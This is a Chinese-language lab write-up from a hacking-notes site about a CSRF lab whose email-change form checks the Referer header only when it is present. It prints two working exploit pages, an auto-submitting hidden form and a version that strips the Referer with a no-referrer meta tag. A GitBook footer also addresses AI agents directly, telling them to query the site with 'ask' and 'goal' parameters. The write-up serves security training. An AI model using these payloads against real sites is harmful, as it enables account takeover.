> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/csrf/csrf-referer-validation-depends-on-header-presence.md).

# 仅在存在时进行 Referer 验证的 CSRF

### 当 Referer 验证依赖于头部存在时的 CSRF

此实验室的修改邮箱功能存在 CSRF 攻击漏洞。服务器尝试通过检查该请求头来阻止跨域请求， **Referer**但存在不安全的回退处理：当 Referer 头缺失时，会接受该请求。

* 推荐账户： `wiener:peter` （使用此账户从受害者的角度复现该场景。）

服务器检查 **Referer** 字段，以查明请求来自何处，并拒绝 Referer 不是本站点的请求。

<figure><img src="/files/b894687b118ff4c8c099210016c76753face9629" alt="" width="543"><figcaption></figcaption></figure>

* 通过从攻击服务器发送一个 POST 表单，返回结果： **“无效的 referer 头”** ——当头部存在且不正确时，该检查会生效。

```html
<form class="login-form" name="change-email-form" action="https://0a2300750347b0c680ee030e005f0042.web-security-academy.net/my-account/change-email" method="POST">
    <input type="hidden" name="email" value="hacked@jord4n.pro">
</form>

<script>

document.forms[0].submit();
</script>
```

`“无效的 referer 头”`

<figure><img src="/files/061b750db4f63f50c82dad3ffd6a617dbe214851" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/703ade42efcbbdeaf6a99be93163f0d281082379" alt=""><figcaption></figcaption></figure>

不过，如果请求到达时 **不使用** referer 头缺失，服务器会接受该请求（危险的回退行为）。

<figure><img src="/files/3d539f10d2ce1a399ccfefbe8a81ca934cdd97a5" alt=""><figcaption></figcaption></figure>

#### 操作方法（原理）

1. 在利用服务器上托管一个页面，该页面会向 `/my-account/change-email` 提交一个带有攻击者邮箱的 POST 表单。
2. 强制让利用页面 **移除** 浏览器的 Referer 头，以便验证失败并作为拦截机制（因为服务器接受 Referer 缺失的情况）。
3. 让浏览器不发送 Referer 的一个简单方法是在利用页面中添加一个 `<meta name="referrer" content="no-referrer">` 标签，然后再提交表单。

```html
<head>
   <meta name="referrer" content="no-referrer">
</head>
<form class="login-form" name="change-email-form" action="https://0a2300750347b0c680ee030e005f0042.web-security-academy.net/my-account/change-email" method="POST">
    <input type="hidden" name="email" value="hacked@jord4n.pro">
</form>

<script>

document.forms[0].submit();
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/csrf/csrf-referer-validation-depends-on-header-presence.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
